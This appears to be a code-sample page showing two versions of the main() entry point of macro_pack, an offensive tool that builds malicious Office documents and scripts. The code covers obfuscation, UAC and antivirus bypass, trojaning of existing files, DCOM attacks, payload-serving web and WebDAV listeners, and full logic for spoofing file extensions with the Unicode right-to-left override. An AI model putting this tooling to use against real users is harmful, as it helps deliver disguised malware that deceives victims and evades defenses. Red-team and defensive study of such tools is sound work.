Beispiel #1
0
def main(argv):
    global MP_TYPE
    logLevel = LOGLEVEL
    # initialize macro_pack session object
    working_directory = os.path.join(os.getcwd(), WORKING_DIR)
    if MP_TYPE == "Pro":
        mpSession = mp_session_pro.MpSessionPro(working_directory, VERSION,
                                                MP_TYPE)
    else:
        mpSession = mp_session.MpSession(working_directory, VERSION, MP_TYPE)

    try:
        longOptions = [
            "embed=", "listen=", "port=", "webdav-listen=", "generate=",
            "quiet", "input-file=", "encode", "obfuscate", "obfuscate-form",
            "obfuscate-names", "obfuscate-strings", "file=", "template=",
            "listtemplates", "listformats", "icon=", "start-function=",
            "uac-bypass", "unicode-rtlo=", "dde", "print", "force-yes"
        ]
        shortOptions = "e:l:w:s:f:t:G:hqmop"
        # only for Pro release
        if MP_TYPE == "Pro":
            longOptions.extend(arg_mgt_pro.proArgsLongOptions)
            shortOptions += arg_mgt_pro.proArgsShortOptions
        # Only enabled on windows
        if sys.platform == "win32":
            longOptions.extend(["run=", "run-visible"])

        opts, args = getopt.getopt(argv, shortOptions,
                                   longOptions)  # @UnusedVariable
    except getopt.GetoptError:
        help.printUsage(BANNER, sys.argv[0], mpSession)
        sys.exit(2)
    for opt, arg in opts:
        if opt in ("-o", "--obfuscate"):
            mpSession.obfuscateForm = True
            mpSession.obfuscateNames = True
            mpSession.obfuscateStrings = True
        elif opt == "--obfuscate-form":
            mpSession.obfuscateForm = True
        elif opt == "--obfuscate-names":
            mpSession.obfuscateNames = True
        elif opt == "--obfuscate-strings":
            mpSession.obfuscateStrings = True
        elif opt == "-s" or opt == "--start-function":
            mpSession.startFunction = arg
        elif opt == "-l" or opt == "--listen":
            mpSession.listen = True
            mpSession.listenRoot = os.path.abspath(arg)
        elif opt == "--port":
            mpSession.listenPort = int(arg)
            mpSession.WlistenPort = int(arg)
        elif opt == "--icon":
            mpSession.icon = arg
        elif opt == "-w" or opt == "--webdav-listen":
            mpSession.Wlisten = True
            mpSession.WRoot = os.path.abspath(arg)
        elif opt == "-f" or opt == "--input-file":
            mpSession.fileInput = arg
        elif opt == "-e" or opt == "--embed":
            mpSession.embeddedFilePath = os.path.abspath(arg)
        elif opt == "-t" or opt == "--template":
            mpSession.template = arg
        elif opt == "--listtemplates":
            help.printTemplatesUsage(BANNER, sys.argv[0])
            sys.exit(0)
        elif opt == "-q" or opt == "--quiet":
            logLevel = "WARN"
        elif opt == "-p" or opt == "--print":
            mpSession.printFile = True
        elif opt == "--dde":
            if sys.platform == "win32":
                mpSession.ddeMode = True
        elif opt == "--run":
            if sys.platform == "win32":
                mpSession.runTarget = os.path.abspath(arg)
        elif opt == "--run-visible":
            if sys.platform == "win32":
                mpSession.runVisible = True
        elif opt == "--force-yes":
            mpSession.forceYes = True
        elif opt == "--uac-bypass":
            mpSession.uacBypass = True
        elif opt == "--unicode-rtlo":
            mpSession.unicodeRtlo = arg
        elif opt in ("-G", "--generate"):
            mpSession.outputFilePath = os.path.abspath(arg)
        elif opt == "--listformats":
            help.printAvailableFormats(BANNER)
            sys.exit(0)
        elif opt == "-h" or opt == "--help":
            help.printUsage(BANNER, sys.argv[0], mpSession)
            sys.exit(0)
        else:
            if MP_TYPE == "Pro":
                arg_mgt_pro.processProArg(opt, arg, mpSession, BANNER)
            else:
                #print("opt:%s, arg:%s",(opt,arg))
                help.printUsage(BANNER, sys.argv[0], mpSession)
                sys.exit(0)

    if logLevel == "INFO":
        os.system('cls' if os.name == 'nt' else 'clear')

    # Logging
    logging.basicConfig(level=getattr(logging, logLevel),
                        format="%(message)s",
                        handlers=[utils.ColorLogFiler()])

    logging.info(colored(BANNER, 'green'))

    logging.info(" [+] Preparations...")

    # check input args
    if mpSession.fileInput is None:
        # Argument not supplied, try to get file content from stdin
        if os.isatty(0) == False:  # check if something is being piped
            logging.info("   [-] Waiting for piped input feed...")
            mpSession.stdinContent = sys.stdin.readlines()
            # Close Stdin pipe so we can call input() later without triggering EOF
            #sys.stdin.close()
            if sys.platform == "win32":
                sys.stdin = open("conIN$")
            else:
                sys.stdin = sys.__stdin__

    else:
        if not os.path.isfile(mpSession.fileInput):
            logging.error("   [!] ERROR: Could not find %s!" %
                          mpSession.fileInput)
            sys.exit(2)
        else:
            logging.info("   [-] Input file path: %s" % mpSession.fileInput)

    if MP_TYPE == "Pro":
        if mpSession.communityMode == True:
            logging.warning(
                "   [!] Running in community mode (pro features not applied)")
            MP_TYPE = "Community"
        else:
            arg_mgt_pro.verify(mpSession)

        # Check output file format
    if mpSession.outputFilePath:
        if not os.path.isdir(os.path.dirname(mpSession.outputFilePath)):
            logging.error("   [!] Could not find output folder %s." %
                          os.path.dirname(mpSession.outputFilePath))
            sys.exit(2)

        if mpSession.outputFileType == MSTypes.UNKNOWN:
            logging.error(
                "   [!] %s is not a supported extension. Use --listformats to view supported MacroPack formats."
                % os.path.splitext(mpSession.outputFilePath)[1])
            sys.exit(2)
        else:
            logging.info("   [-] Target output format: %s" %
                         mpSession.outputFileType)
    elif mpSession.listen == False and mpSession.Wlisten == False and mpSession.runTarget is None and (
            MP_TYPE != "Pro" or mpSession.dcomTarget is None):
        logging.error(
            "   [!] You need to provide an output file! (get help using %s -h)"
            % os.path.basename(utils.getRunningApp()))
        sys.exit(2)

    if mpSession.isTrojanMode == False:
        # verify that output file does not already exist
        if os.path.isfile(mpSession.outputFilePath):
            logging.error("   [!] ERROR: Output file %s already exist!" %
                          mpSession.outputFilePath)
            sys.exit(2)

    #Create temporary folder
    logging.info("   [-] Temporary working dir: %s" % working_directory)
    if not os.path.exists(working_directory):
        os.makedirs(working_directory)

    try:
        # Create temporary work file.
        if mpSession.ddeMode or mpSession.template or (
                mpSession.outputFileType not in MSTypes.VB_FORMATS
                and mpSession.htaMacro == False):
            inputFile = os.path.join(working_directory, "command.cmd")
        else:
            inputFile = os.path.join(working_directory,
                                     utils.randomAlpha(9)) + ".vba"
        if mpSession.stdinContent is not None:
            import time
            time.sleep(0.4)  # Needed to avoid some weird race condition
            logging.info("   [-] Store std input in file...")
            f = open(inputFile, 'w')
            f.writelines(mpSession.stdinContent)
            f.close()
        else:
            # Create temporary work file
            if mpSession.fileInput is not None:
                # Check there are not binary chars in input fil
                if utils.isBinaryString(
                        open(mpSession.fileInput, 'rb').read(1024)):
                    logging.error(
                        "   [!] ERROR: Invalid format for %s. Input should be text format containing your VBA script."
                        % mpSession.fileInput)
                    logging.info(" [+] Cleaning...")
                    if os.path.isdir(working_directory):
                        shutil.rmtree(working_directory)
                    sys.exit(2)
                logging.info("   [-] Store input file...")
                shutil.copy2(mpSession.fileInput, inputFile)

        if os.path.isfile(inputFile):
            logging.info("   [-] Temporary input file: %s" % inputFile)

        # Edit outputfile name to spoof extension if unicodeRtlo option is enabled
        if mpSession.unicodeRtlo:
            # Reminer; mpSession.unicodeRtlo contains the extension we want to spoof, such as "jpg"
            logging.info(" [+] Inject %s false extension with unicode RTLO" %
                         mpSession.unicodeRtlo)
            # Separate document path and extension
            (fileName,
             fileExtension) = os.path.splitext(mpSession.outputFilePath)

            logging.info("   [-] Extension %s " % fileExtension)
            # Append unicode RTLO to file name
            fileName += '\u202e'
            # Append extension to spoof in reverse order
            fileName += '\u200b' + mpSession.unicodeRtlo[::
                                                         -1]  # Prepend invisible space so filename does not end with flagged extension
            # Append file extension
            fileName += fileExtension
            mpSession.outputFilePath = fileName
            logging.info("   [-] File name modified to: %s" %
                         mpSession.outputFilePath)

        # Retrieve the right payload builder
        if mpSession.outputFileType != MSTypes.UNKNOWN:
            if MP_TYPE == "Pro" and mpSession.communityMode == False:
                payloadBuilder = PayloadBuilderFactoryPro().getPayloadBuilder(
                    mpSession)
            else:
                payloadBuilder = PayloadBuilderFactory().getPayloadBuilder(
                    mpSession)
            # Build payload
            if payloadBuilder is not None:
                payloadBuilder.run()
                if MP_TYPE == "Pro":
                    generator = ContainerGenerator(mpSession)
                    generator.run()

        #run com attack
        if mpSession.runTarget:
            generator = ComGenerator(mpSession)
            generator.run()

        if MP_TYPE == "Pro":
            #run dcom attack
            if mpSession.dcom:
                generator = DcomGenerator(mpSession)
                generator.run()

        # Activate Web server
        if mpSession.listen:
            listener = ListenServer(mpSession)
            listener.run()

        # Activate WebDav server
        if mpSession.Wlisten:
            Wlistener = WListenServer(mpSession)
            Wlistener.run()

    except Exception:
        logging.exception(" [!] Exception caught!")
    except KeyboardInterrupt:
        logging.error(" [!] Keyboard interrupt caught!")

    logging.info(" [+] Cleaning...")
    if os.path.isdir(working_directory):
        shutil.rmtree(working_directory)

    logging.info(" Done!\n")

    sys.exit(0)
Beispiel #2
0
def main(argv):

    logLevel = "INFO"
    # initialize macro_pack session object
    working_directory = os.path.join(os.getcwd(), WORKING_DIR)
    mpSession = mp_session.MpSession(working_directory, VERSION, MP_TYPE)

    try:
        longOptions = [
            "embed=", "listen=", "port=", "webdav-listen=", "generate=",
            "quiet", "input-file=", "encode", "obfuscate", "obfuscate-form",
            "obfuscate-names", "obfuscate-strings", "file=", "template=",
            "start-function=", "uac-bypass", "unicode-rtlo=", "dde", "print"
        ]
        shortOptions = "e:l:w:s:f:t:G:hqmop"
        # only for Pro release
        if MP_TYPE == "Pro":
            longOptions.extend([
                "vbom-encode", "persist", "keep-alive", "av-bypass", "trojan=",
                "stealth", "dcom=", "background", "decoy="
            ])
            shortOptions += "T:b"
        # Only enabled on windows
        if sys.platform == "win32":
            longOptions.extend(["run="])

        opts, args = getopt.getopt(argv, shortOptions,
                                   longOptions)  # @UnusedVariable
    except getopt.GetoptError:
        help.printUsage(BANNER, sys.argv[0], mpSession)
        sys.exit(2)
    for opt, arg in opts:
        if opt in ("-o", "--obfuscate"):
            mpSession.obfuscateForm = True
            mpSession.obfuscateNames = True
            mpSession.obfuscateStrings = True
        elif opt == "--obfuscate-form":
            mpSession.obfuscateForm = True
        elif opt == "--obfuscate-names":
            mpSession.obfuscateNames = True
        elif opt == "--obfuscate-strings":
            mpSession.obfuscateStrings = True
        elif opt == "-s" or opt == "--start-function":
            mpSession.startFunction = arg
        elif opt == "-l" or opt == "--listen":
            mpSession.listen = True
            mpSession.listenRoot = os.path.abspath(arg)
        elif opt == "--port":
            mpSession.listenPort = int(arg)
            mpSession.WlistenPort = int(arg)
        elif opt == "-w" or opt == "--webdav-listen":
            mpSession.Wlisten = True
            mpSession.WRoot = os.path.abspath(arg)
        elif opt == "-f" or opt == "--input-file":
            mpSession.vbaInput = arg
        elif opt == "-e" or opt == "--embed":
            mpSession.embeddedFilePath = os.path.abspath(arg)
        elif opt == "-t" or opt == "--template":
            if arg is None or arg.startswith(
                    "-") or arg == "help" or arg == "HELP":
                help.printTemplatesUsage(BANNER, sys.argv[0])
                sys.exit(0)
            else:
                mpSession.template = arg
        elif opt == "-q" or opt == "--quiet":
            logLevel = "ERROR"
        elif opt == "-p" or opt == "--print":
            mpSession.printFile = True
        elif opt == "--dde":
            if sys.platform == "win32":
                mpSession.ddeMode = True
        elif opt == "--run":
            if sys.platform == "win32":
                mpSession.runTarget = os.path.abspath(arg)
        elif opt == "--uac-bypass":
            mpSession.uacBypass = True
        elif opt == "--unicode-rtlo":
            mpSession.unicodeRtlo = arg
        elif opt in ("-G", "--generate"):
            mpSession.outputFilePath = os.path.abspath(arg)
        elif opt == "-h" or opt == "--help":
            help.printUsage(BANNER, sys.argv[0], mpSession)
            sys.exit(0)
        else:
            if MP_TYPE == "Pro":
                if opt == "--vbom-encode":
                    mpSession.vbomEncode = True
                elif opt == "--persist":
                    mpSession.persist = True
                elif opt == "--keep-alive":
                    mpSession.keepAlive = True
                elif opt == "--av-bypass":
                    mpSession.avBypass = True

                elif opt == "-T" or opt == "--trojan":
                    # Document generation enabled only on windows
                    if sys.platform == "win32":
                        mpSession.outputFilePath = os.path.abspath(arg)
                        mpSession.trojan = True
                elif opt == "-b" or opt == "--background":
                    mpSession.background = True
                elif opt == "--stealth":
                    mpSession.stealth = True
                elif opt == "--dcom":
                    mpSession.dcom = True
                    mpSession.dcomTarget = arg
                elif opt == "--decoy":
                    mpSession.decoyFilePath = os.path.abspath(arg)
                else:
                    help.printUsage(BANNER, sys.argv[0], mpSession)
                    sys.exit(0)
            else:
                #print("opt:%s, arg:%s",(opt,arg))
                help.printUsage(BANNER, sys.argv[0], mpSession)
                sys.exit(0)

    if logLevel == "INFO":
        os.system('cls' if os.name == 'nt' else 'clear')

    # Logging
    logging.basicConfig(level=getattr(logging, logLevel),
                        format="%(message)s",
                        handlers=[utils.ColorLogFiler()])

    logging.info(colored(BANNER, 'green'))

    logging.info(" [+] Preparations...")

    # Check output file format
    if mpSession.outputFilePath:
        logging.info("   [-] Target output format: %s" %
                     mpSession.outputFileType)
    elif mpSession.listen == False and mpSession.Wlisten == False and mpSession.runTarget is None and mpSession.dcomTarget is None:
        logging.error("   [!] You need to provide an output file! (-G option)")
        sys.exit(2)

    # Edit outputfile name to spoof extension if unicodeRtlo option is enabled
    if mpSession.unicodeRtlo:
        logging.info("   [-] Inject %s false extension with unicode RTLO" %
                     mpSession.unicodeRtlo)
        # Separate document and extension
        (fileName, fileExtension) = os.path.splitext(mpSession.outputFilePath)
        # Append unicode RTLO to file name
        fileName += '\u202e'
        # Append extension to spoof in reverse order
        fileName += mpSession.unicodeRtlo[::-1]
        # Appent file extension
        fileName += fileExtension
        mpSession.outputFilePath = fileName
        logging.info("   [-] File name modified to: %s" %
                     mpSession.outputFilePath)

    # check input args
    if mpSession.vbaInput is None:
        # Argument not supplied, try to get file content from stdin
        if os.isatty(0) == False:  # check if something is being piped
            logging.info("   [-] Waiting for piped input feed...")
            mpSession.stdinContent = sys.stdin.readlines()
            # Close Stdin pipe so we can call input() later without triggering EOF
            #sys.stdin.close()
            sys.stdin = sys.__stdin__
    else:
        if not os.path.isfile(mpSession.vbaInput):
            logging.error("   [!] ERROR: Could not find %s!" %
                          mpSession.vbaInput)
            sys.exit(2)
        else:
            logging.info("   [-] Input file path: %s" % mpSession.vbaInput)

    if mpSession.trojan == False:
        # verify that output file does not already exist
        if os.path.isfile(mpSession.outputFilePath):
            logging.error("   [!] ERROR: Output file %s already exist!" %
                          mpSession.outputFilePath)
            sys.exit(2)
    else:
        # In trojan mode, files are tojaned if they already exist and created if they dont.
        # This concerns only non Office documents for now
        if mpSession.outputFileType not in MSTypes.MS_OFFICE_FORMATS:
            if os.path.isfile(mpSession.outputFilePath):
                logging.error(
                    "   [!] ERROR: Trojan mode not supported for %s format. \nOutput file %s already exist!"
                    % (mpSession.outputFileType, mpSession.outputFilePath))
                sys.exit(2)

    #Create temporary folder
    logging.info("   [-] Temporary working dir: %s" % working_directory)
    if not os.path.exists(working_directory):
        os.makedirs(working_directory)

    try:
        # Create temporary work file.
        if mpSession.ddeMode or mpSession.template or (
                mpSession.outputFileType not in MSTypes.VB_FORMATS):
            inputFile = os.path.join(working_directory, "command.cmd")
        else:
            inputFile = os.path.join(working_directory,
                                     utils.randomAlpha(9)) + ".vba"
        if mpSession.stdinContent is not None:
            logging.info("   [-] Store std input in file...")
            f = open(inputFile, 'w')
            f.writelines(mpSession.stdinContent)
            f.close()
        else:
            # Create temporary work file
            if mpSession.vbaInput is not None:
                logging.info("   [-] Store input file...")
                shutil.copy2(mpSession.vbaInput, inputFile)
        if os.path.isfile(inputFile):
            logging.info("   [-] Temporary input file: %s" % inputFile)

        # Generate template
        if mpSession.template:
            if MP_TYPE == "Pro":
                generator = TemplateGeneratorPro(mpSession)
                generator.run()
            else:
                generator = TemplateToVba(mpSession)
                generator.run()

        # MS Office generation/trojan is only enabled on windows
        if sys.platform == "win32" and mpSession.outputFileType in MSTypes.MS_OFFICE_FORMATS:
            handleOfficeFormats(mpSession)

        # Generate Scripts
        if MP_TYPE == "Pro":
            if mpSession.outputFileType == MSTypes.VBS:
                generator = VBSGeneratorPro(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.HTA:
                generator = HTAGeneratorPro(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.SCT:
                generator = SCTGeneratorPro(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.WSF:
                generator = WSFGeneratorPro(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.XSL:
                generator = XSLGeneratorPro(mpSession)
                generator.run()

        else:
            if mpSession.outputFileType == MSTypes.VBS:
                generator = VBSGenerator(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.HTA:
                generator = HTAGenerator(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.SCT:
                generator = SCTGenerator(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.WSF:
                generator = WSFGenerator(mpSession)
                generator.run()
            if mpSession.outputFileType == MSTypes.XSL:
                generator = XSLGenerator(mpSession)
                generator.run()

        if mpSession.outputFileType == MSTypes.VBA:
            generator = VBAGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.SCF:
            generator = SCFGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.URL:
            generator = UrlShortcutGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.GLK:
            generator = GlkGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.LNK:
            generator = LNKGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.SETTINGS_MS:
            generator = SettingsShortcutGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.LIBRARY_MS:
            generator = LibraryShortcutGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.INF:
            generator = InfGenerator(mpSession)
            generator.run()

        if mpSession.outputFileType == MSTypes.IQY:
            generator = IqyGenerator(mpSession)
            generator.run()

        #run com attack
        if mpSession.runTarget:
            generator = ComGenerator(mpSession)
            generator.run()

        #run dcom attack
        if mpSession.dcom:
            generator = DcomGenerator(mpSession)
            generator.run()

        # Activate Web server
        if mpSession.listen:
            listener = ListenServer(mpSession)
            listener.run()

        if mpSession.Wlisten:
            Wlistener = WListenServer(mpSession)
            Wlistener.run()

    except Exception:
        logging.exception(" [!] Exception caught!")

    logging.info(" [+] Cleaning...")
    shutil.rmtree(working_directory)

    logging.info(" Done!\n")

    sys.exit(0)